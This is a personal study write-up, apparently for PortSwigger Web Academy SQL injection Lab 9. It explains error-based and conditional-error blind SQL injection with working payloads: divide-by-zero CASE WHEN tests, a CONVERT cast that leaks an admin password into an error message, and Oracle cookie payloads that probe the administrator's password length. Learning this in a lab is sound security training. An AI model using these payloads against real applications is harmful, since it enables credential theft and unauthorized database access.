> For the complete documentation index, see [llms.txt](https://simon-6.gitbook.io/simoncyber/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://simon-6.gitbook.io/simoncyber/portswigger-web-academy/sql-injection/lab-9.md).

# Lab 9

### Error-based SQL injection

Instead of "Welcome back" appearing/disappearing, you make the database **crash or not crash** based on a condition:

```sql
' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a
```

```
Condition true  → 1/0 → divide by zero → database ERROR → page crashes
Condition false → returns 'a' → page loads normally
```

Same yes/no game as before — just using errors instead of a Welcome back message. Useful when the page has no visible behavioral difference at all.

Some databases are misconfigured to show detailed error messages. You can force the database to include actual data INSIDE the error message:

```sql
' AND 1=CONVERT(int, (SELECT password FROM users WHERE username='admin'))--
```

Database tries to convert `secret123` to an integer → fails → error message says:

```
Conversion failed when converting the value 'secret123' to int
```

Password just appeared in the error message. Blind SQLi instantly becomes visible.

### Conditional Errors

#### CASE WHEN syntax

```sql
SELECT CASE WHEN (condition) THEN result1 ELSE result2 END
```

It's SQL's version of an if/else:

```
IF condition is true  → return result1
IF condition is false → return result2
```

`xyz' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a`

This is saying it crashes whenever the first character in a password the first character in the password of administrator is greater than m, it crashes.

### Solving it  

<figure><img src="/files/euuExnGIsfTz9orjJeZw" alt=""><figcaption></figcaption></figure>

Why doesn't this work?:

**`1/0` by itself isn't enough** — it needs to be inside a CASE WHEN to trigger conditionally:

```sql
-- this might not error:
WHERE TrackingId = 'xyz' AND 1/0--

-- this errors conditionally:
WHERE TrackingId = 'xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a'
```

`TrackingId=xyz'||(SELECT '' FROM dual)||'`

`TrackingId=xyz'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'`

`TrackingId=xyz'||(SELECT CASE WHEN LENGTH(password)>1 THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||'`